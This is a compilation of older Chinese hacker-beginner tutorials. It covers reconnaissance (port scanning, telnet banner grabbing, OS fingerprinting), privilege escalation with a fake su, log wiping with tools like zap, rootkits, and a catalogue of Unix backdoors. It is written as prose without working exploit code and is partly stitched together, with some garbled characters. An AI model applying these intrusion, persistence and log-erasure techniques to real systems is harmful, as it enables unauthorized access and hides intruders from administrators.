2)假如你与这位高手素昧平生,那还是谨慎一点,不要一股脑提许多问题,因为大家得时间都是宝贵的,他不可能花许多时间来专为你一个人服务,因此建议你慢慢来,每次提1-2个问题就好,因为还有下次嘛!
3)不要轻易打搅别人,以下方式请慎用:oicq,mail,homephone,
4)要尊重对方,不要过于奢求,在这个功利的社会,要学会被拒绝,再说人家也没有义务必需要给你解答问题。
*能得到高手的帮助当然最好,假如没有路子,也不要强求,相信你自己也能行。

三 具体切入点

写到这里了,一些菜鸟说仍然找不到切入点,不知道该从何入手,说哪里都不明白,看什么都看不懂,无法入门。也难怪,菜鸟嘛,的确很难入手,有些朋友就是因为前期的学习很吃力才放弃了的,那么好,我就继续介绍我本人的两个方法吧。

1基础书籍法:既然基础差,那么就从基础开始,去买一至两本hack方面的既基础又全面的书籍来看,比如《黑客就这么几招》等等,此类书籍比较基础,但又很全面,黑客初期的基本攻击方法都有介绍,以此类书为基础慢慢的学习,过一段时间你会发现你已经入门了;

2教程解惑法:就是说一旦碰到不明白的地方就通过搜索引擎,资料,教程来解答,在求解的过程中,你一定还会关联的碰到其他不懂的新问题,那么好,继续找资料看教程,就这样一直连续不断,碰到不懂的就去看,不管他是哪方面的,慢慢的,你所懂的会越来越多,你会发现你已经入门了。此类方法有很大的随意性,不是很系统,但灵活自由,高效;

3结合法:就是将以上两种方法结合,这是很好的一种方法,建议大家使用。

四 总结

以上基本上是我个人的一面之谈,难免主观一些,请海涵。假如你还有什么好的学习方法,请一定要告诉我,我会收入到这片帖子当中,希望她能对菜鸟们有所帮助。

黑客必备的基本技能
我们在阅读和学习系统安全文献和黑客技术文章时,经常看到的是一些攻击策略和系统安全漏洞,但无法理解黑客是如何攻击系统的每个环 节,因此系统治理员无法具体地进行安全防范。

  INTERNET上的主机多数使用UNIX主机,包括Solaris、Digital Unix、Linux等,因此首先推出UNIX篇,主要内容包括:目标分析、智取文档、破解密码、打扫战场等技术。

  1、锁定目标

  INTERNET上每一台主机都有一个符合自己的名称,就像每个人都有一个合适得称呼一样,称做域名;然而一个人可能会有几个名字,域名的定义也会有同样的情况,在INTERNET上能真正标识主机的是IP地址,域名只是用IP指定的主机用于好记的而起的名字。当然利用域名和IP地址都可以顺利找到主机(除非你的网络不通)。要攻击谁首先要确定目标,就是要知道这台主机的域名或者IP地址,例如:www.xxxxx.com、1.1.1.1等。知道了要攻击目标的位置还很不够,还需要了解系统类型、操作系统、提供服务等全面的资料,才能做到“知己知彼,百战不败”,如何获取相关信息,下面我们将具体介绍,假如对网络域名和IP地址不清楚的,赶紧翻一下手头的书吧!并且现在练习一下PING命令吧!相信在实战中会用得到!有什么用?假如PING目标主机返回时间太长或你根本PING不通目标主机,你如何继续呢!(目标不在你的射程之内)

  2、端口分析

  INTERNET上的主机大部分都提供WWW、MAIL、FTP、BBS等网络信息服务,基本每一台主机都同时提供几种服务,一台主机为何能够提供如此多的服务呢?UNIX系统是一种多用户多任务的系统,将网络服务划分许多不同的端口,每一个端口提供一种不同服务,一个服务会有一个程序时刻监视端口活动,并且给予应有的应答。并且端口的定义已经成为了标准,例如:FTP服务的端口是21,TELENT服务的端口是23,WWW服务的端口是80等,假如还想了解更多请进行下面的步骤:

  进入MS-DOS PROMPT

  C:\WINDOWS>edit services (回车)
慢慢阅读吧!不过很多的端口都没有什么用,不必把它们都记住!我们如何知道目标主机提供了什么服务呢?很简单用用于不同服务的应用程序试一试就知道了,例如:使用TELNET、FTP等用户软件向目标主机申请服务,假如主机有应答就说明主机提供了这个服务,开放了这个端口的服务,但我们现在只需知道目标主机的服务端口是否是“活”的,不过这样试比较麻烦并且资料不全,我会经常使用一些象PORTSCAN这样的工具,对目标主机一定范围的端口进行扫描。这样可以全部把握目标主机的端口情况。现在介绍一个好工具,缺少好工具,就不能顺利完成工作。

  HAKTEK是一个非常实用的一个工具软件,它将许多应用集成在一起的工具,其中包括:PING、IP范围扫描、目标主机端口扫描、邮件炸弹、过滤邮件、FINGER主机等都是非常实用的工具。

  完成目标主机扫描任务,首先告诉HAKTEK目标主机的位置,即域名或IP地址。然后选择端口扫描,输入扫描范围,开始扫描,屏幕很快返回“活”的端口号以及对应的服务。对资料的收集非常迅速完整。为什么把握目标的服务资料?假如目标主机上几个要害的端口的服务都没有提供,还是放弃进攻的计划吧,不要浪费太多时间放在这个胜率不大的目标上,赶紧选择下一个目标。先看一个扫描实例:

  Scanning host xx.xx.xx, ports 0 to 1000

  Port 7 found. Desc='echo'

  Port 21 found. Desc='ftp'

  Port 23 found. Desc='telnet'

  Port 25 found. Desc='smtp'

  Port 53 found. Desc='domain/nameserver'

  Port 79 found. Desc='finger'

  Port 80 found. Desc='www'

  Port 90 found.

  Port 111 found. Desc='portmap/sunrpc'

  Port 512 found. Desc='biff/exec'

  Port 513 found. Desc='login/who'

  Port 514 found. Desc='shell/syslog'

  Port 515 found. Desc='printer'

  Done!
假如系统主要端口是“活”的,也不要兴奋太早,因为系统可能加了某些限制,不答应任何用户远程连接或不答应ROOT远程连接,或者进入后限制用户只能做指定的活动便又被强行中断,这仅仅指TELNET服务而言,其实还会碰到很多复杂的情况。

  这里只介绍目标主机是否开放了端口,而我们还不知目标主机使用的是什么系统,每一个端口的服务程序使用的是什么版本的系统,不要急,先联系一下HAKTEK工具吧!没有,快去下载吧!

  3、系统分析

  现在开始讲解如何了解系统,目标主机采用的是什么操作系统,其实很简单,首先打开WIN95的RUN窗口,然后输入命令:

  TELNET xx.xx.xx.xx(目标主机)

  然后[确定],看一看你的屏幕会出现什么?

  Digital UNIX (xx.xx.xx) (ttyp1)

  login:

  不用我说你也会知道你的目标主机和操作系统是什么啦!对,当然是DEC机,使用的是Digital UNIX啦!好,我们再看一个:

  有些系统将显示信息进行了更改,因此就不好判定其系统的信息,但根据一些经验可以进行初步的判定,它可能是HP Unix。

  另外利用上面介绍的工具HAKTEK,利用目标主机的FINGER功能也可以泄露系统的信息。

  Establishing real-time userlist... (Only works if the sysadmin is a moron)

  ---[ Finger session ]-------------------------------------------------------

  Welcome to Linux version 2.0.30 at xx.xx.xx

  ...
上面的这句话就已经足够!

  如何知道系统中其它端口使用的是什么服务?例如23、25、80等端口。

  采用同样上面的手段,利用TELNET和本身的应用工具,FTP等。

  使用TELNET是请将端口号作为命令行参数,例如:

  telnet xx.xx.xx 25

  就会有类似下面的信息提供给你:

  220 xx.xx.xx Sendmail 5.65v3.2 (1.1.8.2/31Jan97-1019AM) Wed, 3 Jun 1998 13:50:47 0900

  这样很清楚目标主机Sendmail的版本。当然对很多端口和不同的系统根本没有用。

  因此需要对应的应用工具才能获得相应的信息。例如:

  Connected to xx.xx.xx.220 xx.xx.xx FTP server (Digital UNIX Version 5.60) ready.

  User (xx.xx.xxnone)):

  INTERNET上大多数是WWW主机,如何知道目标主使用的是什么样的WEB SERVER,介绍一个页面的查询工具,只要你告诉它目标主机的地址和WEB服务断口,它马上会告诉你有关信息。

  4、深入研究

  上面介绍的内容都非常简单,多试几次便会轻松把握。由于系统治理员对系统进行了一些限制,因此即使得到了这些信息也不能轻松地对系统攻击,还要进一步把握情况。进行这些工作都是为下一步的工作做预备,破解UNIX主机最主要是想方设法获得UNIX的密码文件,通过破解口令,获得较高权限帐户的口令,主要是ROOT的口令。

黑客初级技术总览
【简 介】
网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。

网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。确保网络系统的信息安全是网络安全的目标,信息安全包括两个方面:信息的存储安全和信息的传输安全。信息的存储安全是指信息在静态存放状态下的安全,如是否会被非授权调用等。信息的传输安全是指信息在动态传输过程中安全。为了确保网络信息的传输安全,有以下几个问题:
  (1)对网络上信息的监听
  (2)对用户身份的仿冒
  (3)对网络上信息的篡改
  (4)对发出的信息予以否认
  (5)对信息进行重发
  对于一般的常用入侵方法主要有
  1.口令入侵
  所谓口令入侵,就是指用一些软件解开已经得到但被人加密的口令文档,不过许多黑客已大量采用一种可以绕开或屏蔽口令保护的程序来完成这项工作。对于那些可以解开或屏蔽口令保护的程序通常被称为“Crack”。由于这些软件的广为流传,使得入侵电脑网络系统有时变得相当简单,一般不需要很深入了解系统的内部结构,是初学者的好方法。
  2.特洛伊木马术
  说到特洛伊木马,只要知道这个故事的人就不难理解,它最典型的做法可能就是把一个能帮助黑客完成某一特定动作的程序依附在某一合法用户的正常程序中,这时合法用户的程序代码已被该变。一旦用户触发该程序,那么依附在内的黑客指令代码同时被激活,这些代码往往能完成黑客指定的任务。由于这种入侵法需要黑客有很好的编程经验,且要更改代码、要一定的权限,所以较难把握。但正因为它的复杂性,一般的系统治理员很难发现。
  3.监听法
  这是一个很实用但风险也很大的黑客入侵方法,但还是有很多入侵系统的黑客采用此类方法,正所谓艺高人胆大。
  网络节点或工作站之间的交流是通过信息流的转送得以实现,而当在一个没有集线器的网络中,数据的传输并没有指明特定的方向,这时每一个网络节点或工作站都是一个接口。这就好比某一节点说:“嗨!你们中有谁是我要发信息的工作站。”
  此时,所有的系统接口都收到了这个信息,一旦某个工作站说:“嗨!那是我,请把数据传过来。”联接就马上完成。
  目前有网络上流传着很多嗅探软件,利用这些软件就可以很简单的监听到数据,甚至就包含口令文件,有的服务在传输文件中直接使用明文传输,这也是非常危险的。
4.E-mail技术
  使用email加木马程序这是黑客经常使用的一种手段,而且非常奏效,一般的用户,甚至是网管,对网络安全的意识太过于淡薄,这就给很多黑客以可乘之机。
  5.病毒技术
  作为一个黑客,如此使用应该是一件可耻的事情,不过大家可以学习,究竟也是一种攻击的办法,非凡时间,非凡地点完全可以使用。
  6.隐藏技术
网络攻击的一般步骤及实例
  攻击的预备阶段
  首先需要说明的是,入侵者的来源有两种,一种是内部人员利用自己的工作机会和权限来获取不应该获取的权限而进行的攻击。另一种是外部人员入侵,包括远程入侵、网络节点接入入侵等。本节主要讨论远程攻击。
  进行网络攻击是一件系统性很强的工作,其主要工作流程是:收集情报,远程攻击,远程登录,取得普通用户的权限,取得超级用户的权限,留下后门,清除日志。主要内容包括目标分析,文档获取,破解密码,日志清除等技术,下面分别介绍。
  1.确定攻击的目的
  攻击者在进行一次完整的攻击之前首先要确定攻击要达到什么样的目的,即给对方造成什么样的后果。常见的攻击目的有破坏型和入侵型两种。破坏型攻击指的只是破坏攻击目标,使其不能正常工作,而不能随意控制目标的系统的运行。要达到破坏型攻击的目的,主要的手段是拒绝服务攻击(Denial Of Service)。另一类常见的攻击目的是入侵攻击目标,这种攻击是要获得一定的权限来达到控制攻击目标的目的。应该说这种攻击比破坏型攻击更为普遍,威胁性也更大。因为黑客一旦获取攻击目标的治理员权限就可以对此服务器做任意动作,包括破坏性的攻击。此类攻击一般也是利用服务器操作系统、应用软件或者网络协议存在的漏洞进行的。当然还有另一种造成此种攻击的原因就是密码泄露,攻击者靠猜测或者穷举法来得到服务器用户的密码,然后就可以用和真正的治理员一样对服务器进行访问。
  2.信息收集
  除了确定攻击目的之外,攻击前的最主要工作就是收集尽量多的关于攻击目标的信息。这些信息主要包括目标的操作系统类型及版本,目标提供哪些服务,各服务器程序的类型与版本以及相关的社会信息。
  要攻击一台机器,首先要确定它上面正在运行的操作系统是什么,因为对于不同类型的操作系统,其上的系统漏洞有很大区别,所以攻击的方法也完全不同,甚至同一种操作系统的不同版本的系统漏洞也是不一样的。要确定一台服务器的操作系统一般是靠经验,有些服务器的某些服务显示信息会泄露其操作系统。例如当我们通过TELNET连上一台机器时,假如显示
  Unix(r)System V Release 4.0
  login:
  那么根据经验就可以确定这个机器上运行的操作系统为SUN OS 5.5或5.5.l。但这样确定操作系统类型是不准确的,因为有些网站治理员为了迷惑攻击者会故意更改显示信息,造成假象。
 还有一种不是很有效的方法,诸如查询DNS的主机信息(不是很可靠)来看登记域名时的申请机器类型和操作系统类型,或者使用社会工程学的方法来获得,以及利用某些主机开放的SNMP的公共组来查询。
  另外一种相对比较准确的方法是利用网络操作系统里的TCP/IP堆栈作为非凡的“指纹”来确定系统的真正身份。因为不同的操作系统在网络底层协议的各种实现细节上略有不同。可以通过远程向目标发送非凡的包,然后通过返回的包来确定操作系统类型。例如通过向目标机发送一个FIN的包(或者是任何没有ACK或SYN标记的包)到目标主机的一个开放的端口然后等待回应。许多系统如windows、 BSDI、 CISCO、 HP/UX和 IRIX会返回一个RESET。通过发送一个SYN包,它含有没有定义的TCP标记的TCP头。那么在Linux系统的回应包就会包含这个没有定义的标记,而在一些别的系统则会在收到SYN BOGU包之后关闭连接。或是利用寻找初始化序列长度模板与特定的操作系统相匹配的方法。利用它可以对许多系统分类,如较早的Unix系统是64K长度,一些新的Unix系统的长度则是随机增长。还有就是检查返回包里包含的窗口长度,这项技术根据各个操作系统的不同的初始化窗口大小来唯一确定它们。利用这种技术实现的工具很多,比较闻名的有NMAP、CHECKOS、QUESO等。
  获知目标提供哪些服务及各服务daemon的类型、版本同样非常重要,因为已知的漏洞一般都是对某一服务的。这里说的提供服务就是指通常我们提到的喘口,例如一般TELNET在23端口,FTP在对21端口,WWW在80端口或8080端口,这只是一般情况,网站治理完全可以按自己的意愿修改服务所监听的端口号。在不同服务器上提供同一种服务的软件也可以是不同,我们管这种软件叫做daemon,例如同样是提供FTP服务,可以使用wuftp、proftp,ncftp等许多不同种类的daemon。确定daemon的类型版本也有助于黑客利用系统漏洞攻破网站。
  另外需要获得的关于系统的信息就是一些与计算机本身没有关系的社会信息,例如网站所属公司的名称、规模,网络治理员的生活习惯、电话号码等。这些信息看起来与攻击一个网站没有关系,实际上很多黑客都是利用了这类信息攻破网站的。例如有些网站治理员用自己的电话号码做系统密码,假如把握了该电话号码,就等于把握了治理员权限进行信息收集可以用手工进行,也可以利用工具来完成,完成信息收集的工具叫做扫描器。用扫描器收集信息的优点是速度快,可以一次对多个目标进行扫描。

攻击的实施阶段
  1.获得权限
  当收集到足够的信息之后,攻击者就要开始实施攻击行动了。作为破坏性攻击,只需利用工具发动攻击即可。而作为入侵性攻击,往往要利用收集到的信息,找到其系统漏洞,然后利用该漏洞获取一定的权限。有时获得了一般用户的权限就足以达到修改主页等目的了,但作为一次完整的攻击是要获得系统最高权限的,这不仅是为了达到一定的目的,更重要的是证实攻击者的能力,这也符合黑客的追求。
  能够被攻击者所利用的漏洞不仅包括系统软件设计上的安全漏洞,也包括由于治理配置不当而造成的漏洞。前不久,因特网上应用最普及的闻名www服务器提供商Apache的主页被黑客攻破,其主页面上的 Powered by Apache图样(羽毛状的图画)被改成了Powered by Microsoft Backoffice的图样,那个攻击者就是利用了治理员对Webserver用数据库的一些不当配置而成功取得最高权限的。
  当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。其中利用缓冲区溢出进行的攻击最为普遍,据统计80%以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。关于缓冲区溢出在后面用专门章节来作具体解释。
  无论作为一个黑客还是一个网络治理员,都需要把握尽量多的系统漏洞。黑客需要用它来完成攻击,而治理员需要根据不同的漏洞来进行不同的防御措施。了解最新最多的漏洞信息,可以到诸如Rootshell(www.rootshell.com)、Packetstorm(packetstorm.securify.com)、Securityfocus(www.securityfocus.com)等网站去查找。
  2.权限的扩大
  系统漏洞分为远程漏洞和本地漏洞两种,远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。这种漏洞的威胁性相当大,黑客的攻击一般都是从远程漏洞开始的。但是利用远程漏洞获取的不一定是最高权限,而往往只是一个普通用户的权限,这样经常没有办法做黑客们想要做的事。这时就需要配合本地漏洞来把获得的权限进行扩大,经常是扩大至系统的治理员权限。
  只有获得了最高的治理员权限之后,才可以做诸如网络监听、打扫痕迹之类的事情。要完成权限的扩大,不但可以利用已获得的权限在系统上执行利用本地漏洞的程序,还可以放一些木马之类的欺骗程序来套取治理员密码,这种木马是放在本地套取最高权限用的,而不能进行远程控制。例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限,那么他就可以在这台机器上放置一个假的su程序。一旦黑客放置了假su程序,当真正的合法用户登录时,运行了su,并输入了密码,这时root密码就会被记录下来,下次黑客再登录时就可以使用su变成root了。
攻击的善后工作
  1.日志系统简介
  假如攻击者完成攻击后就马上离开系统而不做任何善后工作,那么他的行踪将很快被系统治理员发现,因为所有的网络操作系统一般都提供日志记录功能,会把系统上发生的动作记录下来。所以,为了自身的隐蔽性,黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法,首先要了解常见的操作系统的日志结构以及工作方式。Unix的日志文件通常放在下面这几个位置,根据操作系统的不同略有变化
  /usr/adm——早期版本的Unix。
  /Var/adm新一点的版本使用这个位置。
  /Varflort一些版本的Solaris、 Linux BSD、 Free BSD使用这个位置。
  /etc,大多数Unix版本把Utmp放在此处,一些Unix版本也把Wtmp放在这里,这也是Syslog.conf的位置。
  下面的文件可能会根据你所在的目录不同而不同:
  acct或pacct-一记录每个用户使用的命令记录。
  accesslog主要用来服务器运行了NCSA HTTP服务器,这个记录文件会记录有什么站点连接过你的服务器。
  aculo保存拨出去的Modems记录。
  lastlog记录了最近的Login记录和每个用户的最初目的地,有时是最后不成功Login的记录。
  loginlog一记录一些不正常的L0gin记录。
  messages——记录输出到系统控制台的记录,另外的信息由Syslog来生成
  security记录一些使用 UUCP系统企图进入限制范围的事例。
  sulog记录使用su命令的记录。
  utmp记录当前登录到系统中的所有用户,这个文件伴随着用户进入和离开系统而不断变化。
  Utmpx,utmp的扩展。
  wtmp记录用户登录和退出事件。
  Syslog最重要的日志文件,使用syslogd守护程序来获得。
  2.隐藏踪迹
  攻击者在获得系统最高治理员权限之后就可以随意修改系统上的文件了(只对常规 Unix系统而言),包括日志文件,所以一般黑客想要隐藏自己的踪迹的话,就会对日志进行修改。最简单的方法当然就是删除日志文件了,但这样做虽然避免了系统治理员根据IP追踪到自己,但也明确无误地告诉了治理员,系统己经被人侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别,网络上有许多此类功能的程序,例如 zap、 wipe等,其主要做法就是清除 utmp、wtmp、Lastlog和 Pacct等日志文件中某一用户的信息,使得当使用w、who、last等命令查看日志文件时,隐藏掉此用户的信息。
治理员想要避免日志系统被黑客修改,应该采取一定的措施,例如用打印机实时记录网络日志信息。但这样做也有弊端,黑客一旦了解到你的做法就会不停地向日志里写入无用的信息,使得打印机不停地打印日志,直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上,即使用loghost。即使是这样也不能完全避免日志被修改的可能性,因为黑客既然能攻入这台主机,也很可能攻入loghost。
  只修改日志是不够的,因为百密必有一漏,即使自认为修改了所有的日志,仍然会留下一些蛛丝马迹的。例如安装了某些后门程序,运行后也可能被治理员发现。所以,黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做rootkit,这类程序在一些黑客网站可以找到,比较常见的有LinuxRootKit,现在已经发展到了5.0版本了。它可以替换系统的ls、ps、netstat、inetd等等一系列重要的系统程序,当替换了ls后,就可以隐藏指定的文件,使得治理员在使用ls命令时无法看到这些文件,从而达到隐藏3.后门
   一般黑客都会在攻入系统后不只一次地进入该系统。为了下次再进入系统时方便一点,黑客会留下一个后门,特洛伊木马就是后门的最好范例。Unix中留后门的方法有很多种,下面介绍几种常见的后门,供网络治理员参考防范。
  <1>密码破解后门
  这是入侵者使用的最早也是最老的方法,它不仅可以获得对Unix机器的访问,而且可 以通过破解密码制造后门。这就是破解口令薄弱的帐号。以后即使治理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门。多数情况下,入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些。当治理员寻找口令薄弱的帐号是,也不会发现这些密码已修改的帐号。因而治理员很难确定查封哪个帐号。
  <2>Rhosts 后门
  在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简 单的认证方法。用户可以轻易的改变设置而不需口令就能进入。 入侵者只要向可以访问的某用户的rhosts文件中输入" ",就可以答应任何人从任何地方无须口令便能进 入这个帐号。非凡当home目录通过NFS向外共享时,入侵者更热中于此。这些帐号也成 了入侵者再次侵入的后门。许多人更喜欢使用Rsh,因为它通常缺少日志能力. 许多治理员经常检查 " ",所以入侵者实际上多设置来自网上的另一个帐号的主机名和 用户名,从而不易被发现。
  <3>校验和及时间戳后门
  早期,许多入侵者用自己的trojan程序替代二进制文件。系统治理员便依靠时间戳和系 统校验和的程序辨别一个二进制文件是否已被改变,如Unix里的sum程序。入侵者又发展了使trojan文件和原文件时间戳同步的新技术。它是这样实现的: 先将系统时钟拨 回到原文件时间,然后调整trojan文件的时间为系统时间。一旦二进制trojan文件与 原来的精确同步,就可以把系统时间设回当前时间。Sum程序是基于CRC校验,很轻易 骗过。入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序。MD5是被 大多数人推荐的,MD5使用的算法目前还没人能骗过。
  <4>Login后门
  在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的 原代码并修改,使它在比较输入口令与存储口令时先检查后门口令。假如用户敲入后门 口令,它将忽视治理员设置的口令让你长驱直入。这将答应入侵者进入任何帐号,甚至 是root。由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问 的,所以入侵者可以登录获取shell却不会暴露该帐号。治理员注重到这种后门后,便 用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露。入侵者就开始加密或者更好的隐藏口令,使strings命令失效. 所以更多的治理员是 用MD5校验和检测这种后门的。
<5>Telnetd后门
  当用户telnet到系统,监听端口的inetd服务接受连接随后递给in.telnetd,由它运行 login.一些入侵者知道治理员会检查login是否被修改,就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验,比如用户使用了何种终端. 典型的终端 设置是Xterm或者VT100.入侵者可以做这样的后门,当终端设置为"letmein"时产生一 个不要任何验证的shell. 入侵者已对某些服务作了后门,对来自特定源端口的连接产 生一个shell。
  <6>服务后门
  几乎所有网络服务曾被入侵者作过后门. Finger,rsh,rexec,rlogin,ftp,甚至 inetd等等的作了的版本随处多是。有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问。这些程序有时用刺娲□?Ucp这样不用的服务,或者被加入inetd.conf 作为一个新的服务,治理员应该非常注重那些服务正在运行,并用MD5对原服务程序做校验。
  <7>Cronjob后门
  Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序 使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问。也可以查看cronjob中 经常运行的合法程序,同时置入后门。
自己的目的。<8>库后门
  几乎所有的UNIX系统使用共享库,共享库用于相同函数的重用而减少代码长度。一些入侵者在象crypt.c和_crypt.c这些函数里作了后门;象login.c这样的程序调用了 crypt()。当使用后门口令时产生一个shell。 因此,即使治理员用MD5检查login程序,仍然能产生一个后门函数,而且许多治理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题: 一些治理员对所有东西多作了MD5校验,有一种办法是入侵者对open()和文件访问函数做后门。后门函数读原文件但执行trojan后门程序。所以 当MD5读这些文件时,校验和一切正常,但当系统运行时将执行trojan版本的,即使trojan库本身也可躲过MD5校验,对于治理员来说有一种方法可以找到后门,就是静态编连MD5校验程序然后运行,静态连接程序不会使用trojan共享库。
  <9>内核后门
  内核是Unix工作的核心,用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态 连接多不能识别. 一个后门作的很好的内核是最难被治理员查找的,所幸的是内核的 后门程序还不是随手可得,每人知道它事实上传播有多广。
  <10>文件系统后门
  入侵者需要在服务器上存储他们的掠夺品或数据,并不能被治理员发现,入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等!有时为了防止治理员发现这么大的文件,入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件,在很低的级别,入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区。因此入侵者只能用非凡的工具访问这些隐藏的文件,对于普通的治理员来说,很难发现这些"坏扇区"里的文件系统,而它又确实存在。
  <11>Boot块后门
  在PC世界里,许多病毒藏匿与根区,而杀病毒软件就是检查根区是否被改变。Unix下,多数治理员没有检查根区的软件,所以一些入侵者将一些后门留在根区。
<12>隐匿进程后门
  入侵者通常想隐匿他们运行的程序,这样的程序一般是口令破解程序和监听程序 (sniffer),有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[] 使它看起来象其他进程名。可以将sniffer程序改名类似in.syslog再执行,因此 当治理员用"ps"检查运行进程时,出现 的是标准服务名。可以修改库函数致使 "ps"不能显示所有进程,可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现。使用这个技术的一个后门例子是
  amod.tar.gz :
  http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html网络通行. 这些网络通行后 门有时答应入侵者通过防火墙进行访问。有许多网络后门程序答应入侵者建立某个端 口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行,治理 员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP,但也可能是其他类型报文。
  <14>TCP Shell 后门
  入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他 们用口令进行保护以免治理员连接上后立即看到是shell访问. 治理员可以用netstat 命令查看当前的连接状态,那些端口在侦听,目前连接的来龙去脉. 通常这些后门可 以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口,许多防火墙答应 e-mail通行的.
  <15>UDP Shell 后门
  治理员经常注重TCP连接并观察其怪异情况,而UDP Shell后门没有这样的连接,所以 netstat不能显示入侵者的访问痕迹,许多防火墙设置成答应类似DNS的UDP报文的通行,通常入侵者将UDP Shell放置在这个端口,答应穿越防火墙。
  <16>ICMP Shell 后门
  Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一。许多防火墙答应外界ping它内部的机器,入侵者可以放数据入Ping的ICMP包,在ping的机器间形成一个shell通道,治理员也许会注重到Ping包暴风,但除了他查看包内数据,否者入侵者不会暴露。
  <17>加密连接
  治理员可能建立一个sniffer试图某个访问的数据,但当入侵者给网络通行后门加密 后,就不可能被判定两台机器间的传输内容了

最经典的黑客入门教材
第一节、黑客的种类和行为
以我的理解,“黑客”大体上应该分为“正”、“邪”两类,正派黑客依靠自己把握的知识帮助系统治理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情,因为邪派黑客所从事的事情违反了《黑客守则》,所以他们真正的名字叫“骇客”(Cracker)而非“黑客”(Hacker),也就是我们平时经常听说的“黑客”(Cacker)和“红客”(Hacker)。
无论那类黑客,他们最初的学习内容都将是本部分所涉及的内容,而且把握的基本技能也都是一样的。即便日后他们各自走上了不同的道路,但是所做的事情也差不多,只不过出发点和目的不一样而已。
很多人曾经问我:“做黑客平时都做什么?是不是非常刺激?”也有人对黑客的理解是“天天做无聊且重复的事情”。实际上这些又是一个错误的熟悉,黑客平时需要用大量的时间学习,我不知道这个过程有没有终点,只知道“多多益善”。由于学习黑客完全出于个人爱好,所以无所谓“无聊”;重复是不可避免的,因为“熟能生巧”,只有经过不断的联系、实践,才可能自己体会出一些只可意会、不可言传的心得。
在学习之余,黑客应该将自己所把握的知识应用到实际当中,无论是哪种黑客做出来的事情,根本目的无非是在实际中把握自己所学习的内容。黑客的行为主要有以下几种:
一、学习技术:
互联网上的新技术一旦出现,黑客就必须马上学习,并用最短的时间把握这项技术,这里所说的把握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前把握的内容,并不能维持他的“黑客身份”超过一年。
初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。
二、伪装自己:
黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。
伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。
假如有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,究竟黑客的成长是一种学习,而不是一种犯罪。
三、发现漏洞:
漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。
黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点——世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。
四、利用漏洞:
对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:
1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;
2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;
3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;
